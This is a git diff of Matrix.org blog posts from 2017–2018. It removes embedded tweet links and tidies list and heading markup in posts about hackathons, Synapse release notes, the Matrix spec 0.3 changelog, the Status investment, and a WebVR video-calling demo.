    diff --git a/content/blog/2017/10/2017-10-11-tadhack-global-2017-and-the-port-2017.md b/content/blog/2017/10/2017-10-11-tadhack-global-2017-and-the-port-2017.md index 5cf53f9d6..7bdf7a6cd 100644 --- a/content/blog/2017/10/2017-10-11-tadhack-global-2017-and-the-port-2017.md +++ b/content/blog/2017/10/2017-10-11-tadhack-global-2017-and-the-port-2017.md @@ -13,7 +13,7 @@ At the end of September, TADHack Global was held where almost 150 teams spent t Out of 10 hacks, 2 of 4 local winners won prizes locally and went on to be global winners alongside 6 other teams using Matrix as part of their hacks. Checkout the TADHack London Wrap-up for details on all of the awesome hacks, especially Aviral Dasgupta's Pushtime and Polite.ai. -https://twitter.com/TADHack/status/915284069046419456 + Well done to everyone who took part, and a special thanks to those flying Matrix :) @@ -23,6 +23,6 @@ The following weekend was THE Port 2017, a humanitarian-themed hackathon held at The hack we made was a communications system backed by Matrix for use in refugee camps, an idea that hatched at the start of the hackathon (whereas the other projects were well established ideas up to 6 weeks before the event). Check out the code on GitHub if you're interested in the client-side apps we made over the weekend. -https://twitter.com/matrixdotorg/status/916672581473890304 + It was another fun weekend for the Matrix team and we look forward to the next one. Stay tuned for updates on upcoming Matrix events! diff --git a/content/blog/2017/10/2017-10-24-synapse-0-24-is-here.md b/content/blog/2017/10/2017-10-24-synapse-0-24-is-here.md index 3c42dc1b4..a4407aaf0 100644 --- a/content/blog/2017/10/2017-10-24-synapse-0-24-is-here.md +++ b/content/blog/2017/10/2017-10-24-synapse-0-24-is-here.md @@ -19,7 +19,7 @@ You can get the latest release from #2567) +
  • Fix updating group profiles over federation (PR #2567)
  • ## Changes in synapse v0.24.0 (2017-10-23) @@ -30,31 +30,31 @@ No changes since v0.24.0-rc1 Features: Changes:
      -
    • Make the spam checker a module (PR #2474)
    • -
    • Delete expired url cache data (PR #2478)
    • -
    • Ignore incoming events for rooms that we have left (PR #2490)
    • -
    • Allow spam checker to reject invites too (PR #2492)
    • -
    • Add room creation checks to spam checker (PR #2495)
    • -
    • Spam checking: add the invitee to user_may_invite (PR #2502)
    • -
    • Process events from federation for different rooms in parallel (PR #2520)
    • -
    • Allow error strings from spam checker (PR #2531)
    • -
    • Improve error handling for missing files in config (PR #2551)
    • +
    • Make the spam checker a module (PR #2474)
    • +
    • Delete expired url cache data (PR #2478)
    • +
    • Ignore incoming events for rooms that we have left (PR #2490)
    • +
    • Allow spam checker to reject invites too (PR #2492)
    • +
    • Add room creation checks to spam checker (PR #2495)
    • +
    • Spam checking: add the invitee to user_may_invite (PR #2502)
    • +
    • Process events from federation for different rooms in parallel (PR #2520)
    • +
    • Allow error strings from spam checker (PR #2531)
    • +
    • Improve error handling for missing files in config (PR #2551)
    Bug fixes:
      -
    • Fix handling SERVFAILs when doing AAAA lookups for federation (PR #2477)
    • -
    • Fix incompatibility with newer versions of ujson (PR #2483) Thanks to +
    • Fix handling SERVFAILs when doing AAAA lookups for federation (PR #2477)
    • +
    • Fix incompatibility with newer versions of ujson (PR #2483) Thanks to @jeremycline!
    • -
    • Fix notification keywords that start/end with non-word chars (PR #2500)
    • -
    • Fix stack overflow and logcontexts from linearizer (PR #2532)
    • -
    • Fix 500 error when fields missing from power_levels event (PR #2552)
    • -
    • Fix 500 error when we get an error handling a PDU (PR #2553)
    • +
    • Fix notification keywords that start/end with non-word chars (PR #2500)
    • +
    • Fix stack overflow and logcontexts from linearizer (PR #2532)
    • +
    • Fix 500 error when fields missing from power_levels event (PR #2552)
    • +
    • Fix 500 error when we get an error handling a PDU (PR #2553)
    diff --git a/content/blog/2017/11/2017-11-15-synapse-0-25-is-out-as-is-matrix-specification-0-3.md b/content/blog/2017/11/2017-11-15-synapse-0-25-is-out-as-is-matrix-specification-0-3.md index dee22be8c..578c951af 100644 --- a/content/blog/2017/11/2017-11-15-synapse-0-25-is-out-as-is-matrix-specification-0-3.md +++ b/content/blog/2017/11/2017-11-15-synapse-0-25-is-out-as-is-matrix-specification-0-3.md @@ -17,124 +17,124 @@ Talking first about the spec update: the workflow of the Matrix spec is that new The full changelog for 0.3 of the spec is:
      -
    • Breaking changes: +
    • Breaking changes:
        -
      • Change the rule kind of .m.rule.contains_display_name from underride to override. This works with all known clients which support push rules, but any other clients implementing the push rules API should be aware of this change. This makes it simple to mute rooms correctly in the API (#373).
      • -
      • Remove /tokenrefresh from the API (#395).
      • -
      • Remove requirement that tokens used in token-based login be macaroons (#395).
      • +
      • Change the rule kind of .m.rule.contains_display_name from underride to override. This works with all known clients which support push rules, but any other clients implementing the push rules API should be aware of this change. This makes it simple to mute rooms correctly in the API (#373).
      • +
      • Remove /tokenrefresh from the API (#395).
      • +
      • Remove requirement that tokens used in token-based login be macaroons (#395).
    • -
    • Changes to the API which will be backwards-compatible for clients: +
    • Changes to the API which will be backwards-compatible for clients:
        -
      • Add filename parameter to POST /_matrix/media/r0/upload (#364).
      • -
      • Document CAS-based client login and the use of m.login.token in /login (#367).
      • -
      • Make origin_server_ts a mandatory field of room events (#379).
      • -
      • Add top-level account_data key to the responses to GET /sync and GET /initialSync (#380).
      • -
      • Add is_direct flag to POST /createRoom and invite member event. Add 'Direct Messaging' module (#389).
      • -
      • Add contains_url option to RoomEventFilter (#390).
      • -
      • Add filter optional query param to /messages (#390).
      • -
      • Add 'Send-to-Device messaging' module (#386).
      • -
      • Add 'Device management' module (#402).
      • -
      • Require that User-Interactive auth fallback pages call window.postMessage to notify apps of completion (#398).
      • -
      • Add pagination and filter support to /publicRooms. Change response to omit fields rather than return null. Add estimate of total number of rooms in list. (#388).
      • -
      • Allow guest accounts to use a number of endpoints which are required for end-to-end encryption. (#751).
      • -
      • Add key distribution APIs, for use with end-to-end encryption. (#894).
      • -
      • Add m.room.pinned_events state event for rooms. (#1007).
      • -
      • Add mention of ability to send Access Token via an Authorization Header.
      • -
      • New endpoints: +
      • Add filename parameter to POST /_matrix/media/r0/upload (#364).
      • +
      • Document CAS-based client login and the use of m.login.token in /login (#367).
      • +
      • Make origin_server_ts a mandatory field of room events (#379).
      • +
      • Add top-level account_data key to the responses to GET /sync and GET /initialSync (#380).
      • +
      • Add is_direct flag to POST /createRoom and invite member event. Add 'Direct Messaging' module (#389).
      • +
      • Add contains_url option to RoomEventFilter (#390).
      • +
      • Add filter optional query param to /messages (#390).
      • +
      • Add 'Send-to-Device messaging' module (#386).
      • +
      • Add 'Device management' module (#402).
      • +
      • Require that User-Interactive auth fallback pages call window.postMessage to notify apps of completion (#398).
      • +
      • Add pagination and filter support to /publicRooms. Change response to omit fields rather than return null. Add estimate of total number of rooms in list. (#388).
      • +
      • Allow guest accounts to use a number of endpoints which are required for end-to-end encryption. (#751).
      • +
      • Add key distribution APIs, for use with end-to-end encryption. (#894).
      • +
      • Add m.room.pinned_events state event for rooms. (#1007).
      • +
      • Add mention of ability to send Access Token via an Authorization Header.
      • +
      • New endpoints:
          -
        • GET /joined_rooms (#999).
        • -
        • GET /rooms/{'{'}roomId{'}'}/joined_members +
        • GET /joined_rooms (#999).
        • +
        • GET /rooms/{'{'}roomId{'}'}/joined_members  (#999).
        • -
        • GET /account/whoami (#1063).
        • -
        • GET /media/{'{'}version{'}'}/preview_url +
        • GET /account/whoami (#1063).
        • +
        • GET /media/{'{'}version{'}'}/preview_url  (#1064).
    • -
    • Spec clarifications: +
    • Spec clarifications:
        -
      • Add endpoints and logic for invites and third-party invites to the federation spec and update the JSON of the request sent by the identity server upon 3PID binding (#997)
      • -
      • Fix "membership" property on third-party invite upgrade example (#995)
      • -
      • Fix response format and 404 example for room alias lookup (#960)
      • -
      • Fix examples of m.room.member event and room state change, and added a clarification on the membership event sent upon profile update (#950).
      • -
      • Spell out the way that state is handled by POST /createRoom (#362).
      • -
      • Clarify the fields which are applicable to different types of push rule (#365).
      • -
      • A number of clarifications to authentication (#371).
      • -
      • Correct references to user_id which should have been sender (#376).
      • -
      • Correct inconsistent specification of redacted_because fields and their values (#378).
      • -
      • Mark required fields in response objects as such (#394).
      • -
      • Make m.notice description a bit harder in its phrasing to try to dissuade the same issues that occurred with IRC (#750).
      • -
      • GET /user/{'{'}userId{'}'}/filter/{'{'}filterId{'}'} +
      • Add endpoints and logic for invites and third-party invites to the federation spec and update the JSON of the request sent by the identity server upon 3PID binding (#997)
      • +
      • Fix "membership" property on third-party invite upgrade example (#995)
      • +
      • Fix response format and 404 example for room alias lookup (#960)
      • +
      • Fix examples of m.room.member event and room state change, and added a clarification on the membership event sent upon profile update (#950).
      • +
      • Spell out the way that state is handled by POST /createRoom (#362).
      • +
      • Clarify the fields which are applicable to different types of push rule (#365).
      • +
      • A number of clarifications to authentication (#371).
      • +
      • Correct references to user_id which should have been sender (#376).
      • +
      • Correct inconsistent specification of redacted_because fields and their values (#378).
      • +
      • Mark required fields in response objects as such (#394).
      • +
      • Make m.notice description a bit harder in its phrasing to try to dissuade the same issues that occurred with IRC (#750).
      • +
      • GET /user/{'{'}userId{'}'}/filter/{'{'}filterId{'}'}  requires authentication (#1003).
      • -
      • Add some clarifying notes on the behaviour of rooms with no m.room.power_levels event (#1026).
      • -
      • Clarify the relationship between username and user_id in the /register API (#1032).
      • -
      • Clarify rate limiting and security for content repository. (#1064).
      • +
      • Add some clarifying notes on the behaviour of rooms with no m.room.power_levels event (#1026).
      • +
      • Clarify the relationship between username and user_id in the /register API (#1032).
      • +
      • Clarify rate limiting and security for content repository. (#1064).
    ...and you can read the spec itself of course over at https://matrix.org/docs/spec.  It's worth noting that we have slightly bent the rules by including three very minor 'breaking changes' in 0.3, but all for features which to our knowledge nobody is depending on in the wild.  Technically this should mean bumping the major version prefix (i.e. moving to r1), but given how minor and nonimpacting these are we're turning a blind eye this time. -### Meanwhile, Synapse 0.25 is out! +### Meanwhile, Synapse 0.25 is out This is a medium-sized release; the main thing being to support configurable room visibility within groups (so that whenever you add a room to a group, you're not forced into sharing their existence with the general public, but can choose to just tell group members about them).  There's also a bunch of useful bug fixes and some performance improvements, including lots of contributions from the community this release (thank you!).  Full release notes are: -##### Changes in synapse v0.25.0 (2017-11-15) +#### Changes in synapse v0.25.0 (2017-11-15) Bug fixes:
      -
    • Fix port script (PR #2673)
    • +
    • Fix port script (PR #2673)
    ##### Changes in synapse v0.25.0-rc1 (2017-11-14) Features:
      -
    • Add is_public to groups table to allow for private groups (PR #2582)
    • -
    • Add a route for determining who you are (PR #2668) Thanks to @turt2live!
    • -
    • Add more features to the password providers (PR #2608#2610#2620#2622, +
    • Add is_public to groups table to allow for private groups (PR #2582)
    • +
    • Add a route for determining who you are (PR #2668) Thanks to @turt2live!
    • +
    • Add more features to the password providers (PR #2608#2610#2620#2622, #2623#2624#2626#2628#2629)
    • -
    • Add a hook for custom rest endpoints (PR #2627)
    • -
    • Add API to update group room visibility (PR #2651)
    • +
    • Add a hook for custom rest endpoints (PR #2627)
    • +
    • Add API to update group room visibility (PR #2651)
    Changes:
      -
    • Ignore tags when generating URL preview descriptions (PR #2576) +
    • Ignore tags when generating URL preview descriptions (PR #2576) Thanks to @maximevaillancourt!
    • -
    • Register some /unstable endpoints in /r0 as well (PR #2579) Thanks to +
    • Register some /unstable endpoints in /r0 as well (PR #2579) Thanks to @krombel!
    • -
    • Support /keys/upload on /r0 as well as /unstable (PR #2585)
    • -
    • Front-end proxy: pass through auth header (PR #2586)
    • -
    • Allow ASes to deactivate their own users (PR #2589)
    • -
    • Remove refresh tokens (PR #2613)
    • -
    • Automatically set default displayname on register (PR #2617)
    • -
    • Log login requests (PR #2618)
    • -
    • Always return is_public in the /groups/:group_id/rooms API (PR #2630)
    • -
    • Avoid no-op media deletes (PR #2637) Thanks to @spantaleev!
    • -
    • Fix various embarrassing typos around user_directory and add some doc. (PR +
    • Support /keys/upload on /r0 as well as /unstable (PR #2585)
    • +
    • Front-end proxy: pass through auth header (PR #2586)
    • +
    • Allow ASes to deactivate their own users (PR #2589)
    • +
    • Remove refresh tokens (PR #2613)
    • +
    • Automatically set default displayname on register (PR #2617)
    • +
    • Log login requests (PR #2618)
    • +
    • Always return is_public in the /groups/:group_id/rooms API (PR #2630)
    • +
    • Avoid no-op media deletes (PR #2637) Thanks to @spantaleev!
    • +
    • Fix various embarrassing typos around user_directory and add some doc. (PR #2643)
    • -
    • Return whether a user is an admin within a group (PR #2647)
    • -
    • Namespace visibility options for groups (PR #2657)
    • -
    • Downcase UserIDs on registration (PR #2662)
    • -
    • Cache failures when fetching URL previews (PR #2669)
    • +
    • Return whether a user is an admin within a group (PR #2647)
    • +
    • Namespace visibility options for groups (PR #2657)
    • +
    • Downcase UserIDs on registration (PR #2662)
    • +
    • Cache failures when fetching URL previews (PR #2669)
    Bug fixes:
      -
    • Fix port script (PR #2577)
    • -
    • Fix error when running synapse with no logfile (PR #2581)
    • -
    • Fix UI auth when deleting devices (PR #2591)
    • -
    • Fix typo when checking if user is invited to group (PR #2599)
    • -
    • Fix the port script to drop NUL values in all tables (PR #2611)
    • -
    • Fix appservices being backlogged and not receiving new events due to a bug in +
    • Fix port script (PR #2577)
    • +
    • Fix error when running synapse with no logfile (PR #2581)
    • +
    • Fix UI auth when deleting devices (PR #2591)
    • +
    • Fix typo when checking if user is invited to group (PR #2599)
    • +
    • Fix the port script to drop NUL values in all tables (PR #2611)
    • +
    • Fix appservices being backlogged and not receiving new events due to a bug in notify_interested_services (PR #2631) Thanks to @xyzz!
    • -
    • Fix updating rooms avatar/display name when modified by admin (PR #2636) +
    • Fix updating rooms avatar/display name when modified by admin (PR #2636) Thanks to @farialima!
    • -
    • Fix bug in state group storage (PR #2649)
    • -
    • Fix 500 on invalid utf-8 in request (PR #2663)
    • +
    • Fix bug in state group storage (PR #2649)
    • +
    • Fix 500 on invalid utf-8 in request (PR #2663)
    -## Finally... +## Finally If you haven't noticed already, Riot/Web 0.13 is out today, as is Riot/iOS 0.6.2 and Riot/Android 0.7.4.  These contain massive improvements across the board - particularly mainstream Communities support at last on Riot/Web; CallKit/PushKit on Riot/iOS thanks to Denis Morozov (GSoC 2017 student for Matrix) and Share Extension on iOS thanks to Aram Sargsyan (also GSoC 2017 student!); and End-to-end Key Sharing on Riot/Android and a full rewrite of the VoIP calling subsystem on Android. diff --git a/content/blog/2017/12/2017-12-25-the-matrix-holiday-mini-special-2017-edition.md b/content/blog/2017/12/2017-12-25-the-matrix-holiday-mini-special-2017-edition.md index 26068ef46..1712dbb95 100644 --- a/content/blog/2017/12/2017-12-25-the-matrix-holiday-mini-special-2017-edition.md +++ b/content/blog/2017/12/2017-12-25-the-matrix-holiday-mini-special-2017-edition.md @@ -19,15 +19,15 @@ That said, we've made some major progress this year anyway: the addition of Widg So what lies ahead?  It's hard to predict the level of progress we're going to make in the core team, as it really depends on long-term funding.  Whatever happens, one of our top priorities is to improve our governance so that everyone can better contribute in places that have historically been more blocked on the core team (i.e. the spec; synapse)... whilst still maintaining coherency across the project.  Ideally we'll end up with more folks pushing Matrix forwards from both the wider world and the core team however, and right now the main priorities are:
      -
    • Phase 2 of Communities: letting users filter their current view of Matrix to rooms associated with a given subset of communities (if desired), for Slack/Discord-style semantics
    • -
    • Fixing the remaining end-to-end encryption failures (although the majority of them have now been solved)
    • -
    • Finalising proper UI/UX for end-to-end encryption (at last), including the option to transparently back up your room keys if desired.
    • -
    • Dendrite Phase 1
    • -
    • Performance in Riot (on all platforms)
    • -
    • Editable messages
    • -
    • Reactions
    • -
    • Making widgets much more useful
    • -
    • Paid integrations and hosting options to help avoid further funding nightmares.
    • +
    • Phase 2 of Communities: letting users filter their current view of Matrix to rooms associated with a given subset of communities (if desired), for Slack/Discord-style semantics
    • +
    • Fixing the remaining end-to-end encryption failures (although the majority of them have now been solved)
    • +
    • Finalising proper UI/UX for end-to-end encryption (at last), including the option to transparently back up your room keys if desired.
    • +
    • Dendrite Phase 1
    • +
    • Performance in Riot (on all platforms)
    • +
    • Editable messages
    • +
    • Reactions
    • +
    • Making widgets much more useful
    • +
    • Paid integrations and hosting options to help avoid further funding nightmares.
    Looking at the bigger picture, what we'd really love for 2018 would be to finally get to a 1.0 release of the Matrix Spec (i.e. catching up on our massive backlog of merging unstable spec drafts & proposals into the spec) - and for Dendrite to start to replace Synapse as the reference home server from Matrix.org and become really ubiquitous, and for E2E encryption be turned on by default in private rooms.  Beyond the above list, we don't really have any other features urgently planned (threading, for instance, is on hold until we have the rest of the above sorted) - but we believe that if we stabilise everything we have today (plus that list), then there is no reason for Matrix to not fulfil its full potential as a true global open decentralised communications standard.  And then it's on to threading, P2P matrix, decentralised reputation and all that good stuff! diff --git a/content/blog/2018/01/2018-01-05-synapse-0-26-released.md b/content/blog/2018/01/2018-01-05-synapse-0-26-released.md index 44c946156..ff69b6e77 100644 --- a/content/blog/2018/01/2018-01-05-synapse-0-26-released.md +++ b/content/blog/2018/01/2018-01-05-synapse-0-26-released.md @@ -21,32 +21,32 @@ No changes since v0.26.0-rc1 Features:
      -
    • Add ability for ASes to publicise groups for their users (PR #2686)
    • -
    • Add all local users to the user_directory and optionally search them (PR +
    • Add ability for ASes to publicise groups for their users (PR #2686)
    • +
    • Add all local users to the user_directory and optionally search them (PR #2723)
    • -
    • Add support for custom login types for validating users (PR #2729)
    • +
    • Add support for custom login types for validating users (PR #2729)
    Changes:
      -
    • Update example Prometheus config to new format (PR #2648) Thanks to +
    • Update example Prometheus config to new format (PR #2648) Thanks to @krombel!
    • -
    • Rename redact_content option to include_content in Push API (PR #2650)
    • -
    • Declare support for r0.3.0 (PR #2677)
    • -
    • Improve upserts (PR #2684#2688#2689#2713)
    • -
    • Improve documentation of workers (PR #2700)
    • -
    • Improve tracebacks on exceptions (PR #2705)
    • -
    • Allow guest access to group APIs for reading (PR #2715)
    • -
    • Support for posting content in federation_client script (PR #2716)
    • -
    • Delete devices and pushers on logouts etc (PR #2722)
    • +
    • Rename redact_content option to include_content in Push API (PR #2650)
    • +
    • Declare support for r0.3.0 (PR #2677)
    • +
    • Improve upserts (PR #2684#2688#2689#2713)
    • +
    • Improve documentation of workers (PR #2700)
    • +
    • Improve tracebacks on exceptions (PR #2705)
    • +
    • Allow guest access to group APIs for reading (PR #2715)
    • +
    • Support for posting content in federation_client script (PR #2716)
    • +
    • Delete devices and pushers on logouts etc (PR #2722)
    Bug fixes:
      -
    • Fix database port script (PR #2673)
    • -
    • Fix internal server error on login with ldap_auth_provider (PR #2678) Thanks +
    • Fix database port script (PR #2673)
    • +
    • Fix internal server error on login with ldap_auth_provider (PR #2678) Thanks to @jkolo!
    • -
    • Fix error on sqlite 3.7 (PR #2697)
    • -
    • Fix OPTIONS on preview_url (PR #2707)
    • -
    • Fix error handling on dns lookup (PR #2711)
    • -
    • Fix wrong avatars when inviting multiple users when creating room (PR #2717)
    • -
    • Fix 500 when joining matrix-dev (PR #2719)
    • +
    • Fix error on sqlite 3.7 (PR #2697)
    • +
    • Fix OPTIONS on preview_url (PR #2707)
    • +
    • Fix error handling on dns lookup (PR #2711)
    • +
    • Fix wrong avatars when inviting multiple users when creating room (PR #2717)
    • +
    • Fix 500 when joining matrix-dev (PR #2719)
    diff --git a/content/blog/2018/01/2018-01-29-status-partners-up-with-new-vector-fueling-decentralised-comms-and-the-matrix-ecosystem.md b/content/blog/2018/01/2018-01-29-status-partners-up-with-new-vector-fueling-decentralised-comms-and-the-matrix-ecosystem.md index ad52d55c4..03ea637e5 100644 --- a/content/blog/2018/01/2018-01-29-status-partners-up-with-new-vector-fueling-decentralised-comms-and-the-matrix-ecosystem.md +++ b/content/blog/2018/01/2018-01-29-status-partners-up-with-new-vector-fueling-decentralised-comms-and-the-matrix-ecosystem.md @@ -37,35 +37,31 @@ Meanwhile, on the core Matrix side, the investment lets us focus immediately on * At the same time, we're excited to ramp up our investment in Riot's performance and overall polish (as well as achieving feature parity with Slack/Discord and friends) - that means we're looking for React, Android & iOS folks to join the core team full-time asap to take the apps to the next level.  Again, jobs@riot.im if this sounds like you!
      -
    • Getting End-to-end Encryption out of beta. We know what we need to do to push E2E out of beta (incremental key backup; cross-signing devices; improved device verification) - Status' investment means we can build the team to get it done! Decentralised end-to-end encryption is not for the faint-hearted, but if you're up for the challenge please get in touch at jobs@matrix.org. +
    • Getting End-to-end Encryption out of beta. We know what we need to do to push E2E out of beta (incremental key backup; cross-signing devices; improved device verification) - Status' investment means we can build the team to get it done! Decentralised end-to-end encryption is not for the faint-hearted, but if you're up for the challenge please get in touch at jobs@matrix.org.
      -
    • Finishing Dendrite. Dendrite (our next-gen golang homeserver implementation) is a hugely ambitious project and right now the only folks working on it are Rich and Erik… who also happen to be supporting Synapse too.  The good news is that the community has been helping considerably with Dendrite, but it would be even better if we had more people supported to work on it full time.  If you love Go, and you love massively scalable decentralised systems, please hit up jobs@matrix.org! +
    • Finishing Dendrite. Dendrite (our next-gen golang homeserver implementation) is a hugely ambitious project and right now the only folks working on it are Rich and Erik… who also happen to be supporting Synapse too.  The good news is that the community has been helping considerably with Dendrite, but it would be even better if we had more people supported to work on it full time.  If you love Go, and you love massively scalable decentralised systems, please hit up jobs@matrix.org!
      -
    • Supporting Synapse.There is massive scope for performance improvements to Synapse, and there are thousands of deployments out there today, so we really want to improve support for Synapse.  If you love Python and Twisted, and interesting performance/profiling and efficiency work, please hit up jobs@matrix.org too! +
    • Supporting Synapse.There is massive scope for performance improvements to Synapse, and there are thousands of deployments out there today, so we really want to improve support for Synapse.  If you love Python and Twisted, and interesting performance/profiling and efficiency work, please hit up jobs@matrix.org too!
      -
    • Maintaining the Spec. If Matrix is anything it is the spec, and maintenance of the spec is key to the project's success. In 2018 we intend to invest heavily in its maintenance and address outstanding API proposals, documenting APIs, not to mention updating the general technical documentation (guides, FAQ etc) on Matrix.org in general.  If you are a developer who loves spec work, we need you over at jobs@matrix.org immediately! :) +
    • Maintaining the Spec. If Matrix is anything it is the spec, and maintenance of the spec is key to the project's success. In 2018 we intend to invest heavily in its maintenance and address outstanding API proposals, documenting APIs, not to mention updating the general technical documentation (guides, FAQ etc) on Matrix.org in general.  If you are a developer who loves spec work, we need you over at jobs@matrix.org immediately! :)
    Beyond these immediate priorities, we have a long feature roadmap lined up too (highest priority first): Reactions, Message Editing, improved Widgets (e.g. Sticker Packs), Threading, Decentralised Accounts, Decentralised Identity, Decentralised Reputation, Peer-to-peer Matrix and more.  However, right now our focus has to be on improving the quality and stability of what we have today and getting it out of beta before we open yet more battlefronts.  In other words: we're not adding more features (modulo emergencies) until the current features are polished! - So: exciting times ahead!  Never before has Matrix had the resources to fully realise its potential, and we'd like to say enormous thanks to Carl, Jarrad, Yessin and Nabil at Status for their patience and support while sorting out the investment.  We'd also like to say thanks to everyone else who offered us investment: in the end we had several viable offers on the table - and we owe sincere thanks to those who invested the time and faith to make an offer which we've ended up turning down. - For now, however, it's back to work: making Riot slicker than Slack; making Synapse go faster and use less RAM; making Dendrite federate; making E2E encryption transparent and indestructible; making sure that it's possible to implement Matrix purely by referring to the Spec. - 2018 is going to be an interesting year indeed :)  Thank you all for supporting Matrix - and thanks, once again, to Status for helping to take us to the next level. - Matthew, Amandine & the whole team. Update 1: VentureBeat is covering the news over at https://venturebeat.com/2018/01/29/status-invests-5-million-in-matrix-to-create-a-blockchain-messaging-superpower/ diff --git a/content/blog/2018/02/2018-02-05-3d-video-calling-with-matrix-webrtc-and-webvr-at-fosdem-2018.md b/content/blog/2018/02/2018-02-05-3d-video-calling-with-matrix-webrtc-and-webvr-at-fosdem-2018.md index 1c1c3a800..6416112c4 100644 --- a/content/blog/2018/02/2018-02-05-3d-video-calling-with-matrix-webrtc-and-webvr-at-fosdem-2018.md +++ b/content/blog/2018/02/2018-02-05-3d-video-calling-with-matrix-webrtc-and-webvr-at-fosdem-2018.md @@ -14,11 +14,11 @@ category = ["General"] Last year we spent a few weeks putting together a proof of concept of using Matrix as an open, interoperable communication layer for VR/AR - showing how you can use it as an open signalling protocol to connect users within (and between) virtual worlds, with full-mesh E2E encrypted video conferencing in VR; WebRTC calls overlaid on 360 degree video, and other fun stuff. The reasons for building the demo were quite eclectic:
      -
    1. Try to highlight that Matrix is about much more than just about instant messaging or team chat
    2. -
    3. Try to encourage the community to jump in and build out more interesting use cases
    4. -
    5. Learn where the state of the art in WebVR + WebGL is
    6. -
    7. Kick off the process of encouraging folks to think about storing world geometry and physics in Matrix
    8. -
    9. Have a fun visual demo we could show to excite potential investors in New Vector (which comically backfired when the investment community spontaneously decided that VR is still too early).
    10. +
    11. Try to highlight that Matrix is about much more than just about instant messaging or team chat
    12. +
    13. Try to encourage the community to jump in and build out more interesting use cases
    14. +
    15. Learn where the state of the art in WebVR + WebGL is
    16. +
    17. Kick off the process of encouraging folks to think about storing world geometry and physics in Matrix
    18. +
    19. Have a fun visual demo we could show to excite potential investors in New Vector (which comically backfired when the investment community spontaneously decided that VR is still too early).
    In the end it succeeded on some points (highlighting exotic uses of Matrix; learning all about WebVR) and failed on others (a surge in Matrix-for-VR) - although we did have a lot of fun showing it off at the ETHLDN meetup back in October. (Eagle eyed viewers may be amused to spot team Status & Matrix sitting together in the audience ;) @@ -54,12 +54,12 @@ Unfortunately, it showed that the depth encoding really wasn't working very well The main problems seem to be:
      -
    • Whenever there's a big jump in depth, the stripes get incredibly noisy and don't compress at all well, generating completely corrupt data at edges of objects (e.g. the sides of my head)
    • -
    • The complexity of the pattern as a whole isn't particularly compression-friendly
    • -
    • The contrast of the red/green stripes tends to dominate, causing the arguably more important blue to get overpowered during compression.
    • -
    • Converting from 4:4:4 RGB to 4:2:0 YUV (NV12) as required by WebRTC and then back to RGB inevitably entangles the colours - meaning that the extreme contrast of the red/green stripes is very visible on the blue channel after round-tripping due to sampling artefacts.
    • -
    • I probably made a mistake by bitwise casting the 16-bit half-precision floating point depth values directly onto the 16-bit unsigned int lookup index, rather than interpreting the float as a number and building a new index into the lookup table based on its numeric value.  As a result, depth values being encoded ended up having a much lower range than they should.
    • -
    • There are probably other bugs too.
    • +
    • Whenever there's a big jump in depth, the stripes get incredibly noisy and don't compress at all well, generating completely corrupt data at edges of objects (e.g. the sides of my head)
    • +
    • The complexity of the pattern as a whole isn't particularly compression-friendly
    • +
    • The contrast of the red/green stripes tends to dominate, causing the arguably more important blue to get overpowered during compression.
    • +
    • Converting from 4:4:4 RGB to 4:2:0 YUV (NV12) as required by WebRTC and then back to RGB inevitably entangles the colours - meaning that the extreme contrast of the red/green stripes is very visible on the blue channel after round-tripping due to sampling artefacts.
    • +
    • I probably made a mistake by bitwise casting the 16-bit half-precision floating point depth values directly onto the 16-bit unsigned int lookup index, rather than interpreting the float as a number and building a new index into the lookup table based on its numeric value.  As a result, depth values being encoded ended up having a much lower range than they should.
    • +
    • There are probably other bugs too.
    Step 5: Give up on the fancy depth encoding (for now): https://github.com/matrix-org/webrtc/commit/2f5d29352ce5d80727639991b1480f610cbdd54c.  In practice, simply picking a range of the 16-bit half-precision floats to fit in the integer range [0,255] turns out to be good enough for a quick demo (i.e. 8-bit depth buffer, but over a small subset of the 16-bit depth space) - the dot cloud suddenly looked a lot more 3D and recognisable: @@ -82,16 +82,16 @@ And here's the end result! (complete with trancey soundtrack as the audio we rec Hopefully this gives a bit of a taste of what proper 3D video calling could be like in VR, and how (relatively) easy it was at the Matrix level to add it in.  If anyone wants to follow along at home, the various hacky branches are: diff --git a/content/blog/2018/03/2018-03-16-urgent-synapse-0-26-1-hotfix-out.md b/content/blog/2018/03/2018-03-16-urgent-synapse-0-26-1-hotfix-out.md index 78dd38574..9e1761808 100644 --- a/content/blog/2018/03/2018-03-16-urgent-synapse-0-26-1-hotfix-out.md +++ b/content/blog/2018/03/2018-03-16-urgent-synapse-0-26-1-hotfix-out.md @@ -17,5 +17,5 @@ Sorry for the inconvenience. Bug fixes:
      -
    • Fix bug where an invalid event caused server to stop functioning correctly, due to parsing and serializing bugs in ujson library.
    • +
    • Fix bug where an invalid event caused server to stop functioning correctly, due to parsing and serializing bugs in ujson library.
    diff --git a/content/blog/2018/03/2018-03-26-synapse-0-27-2-released.md b/content/blog/2018/03/2018-03-26-synapse-0-27-2-released.md index c9c4fdbdb..19718ed9f 100644 --- a/content/blog/2018/03/2018-03-26-synapse-0-27-2-released.md +++ b/content/blog/2018/03/2018-03-26-synapse-0-27-2-released.md @@ -10,16 +10,16 @@ category = ["Releases"]

    We released Synapse v0.27.2 today (the first stable release in the 0.27.x series) - it contains loads of work since Synapse v0.26 back in January.  The main highlights are:

      -
    • All the perf improvements which we've been landing as we race to keep the matrix.org homeserver in the face of ever-expanding traffic levels over the last few months
    • -
    • Support for custom storage providers for media repository.
    • -
    • Ability to limit the email addresses allowed to register on your HS, and ability to limit the homeservers your homeserver is allowed to federate with
    • -
    • All new purge API - letting you purge history by date as well as by event (and having a nice new async way of doing it)
    • -
    • Make search work again!!! (by switching from GIST to GIN indexes)
    • +
    • All the perf improvements which we've been landing as we race to keep the matrix.org homeserver in the face of ever-expanding traffic levels over the last few months
    • +
    • Support for custom storage providers for media repository.
    • +
    • Ability to limit the email addresses allowed to register on your HS, and ability to limit the homeservers your homeserver is allowed to federate with
    • +
    • All new purge API - letting you purge history by date as well as by event (and having a nice new async way of doing it)
    • +
    • Make search work again!!! (by switching from GIST to GIN indexes)
    And a few release notes worth calling out:
      -
    • The common case for running Synapse is not to run separate workers, but for those that do, be aware that synctl no longer starts the main synapse when using -a option with workers. A new worker file should be added with worker_app: synapse.app.homeserver.
    • -
    • This release also begins the process of renaming a number of the metrics reported to prometheus. See docs/metrics-howto.rst  +
    • The common case for running Synapse is not to run separate workers, but for those that do, be aware that synctl no longer starts the main synapse when using -a option with workers. A new worker file should be added with worker_app: synapse.app.homeserver.
    • +
    • This release also begins the process of renaming a number of the metrics reported to prometheus. See docs/metrics-howto.rst  Note that the v0.28.0 release will remove the deprecated metric names.
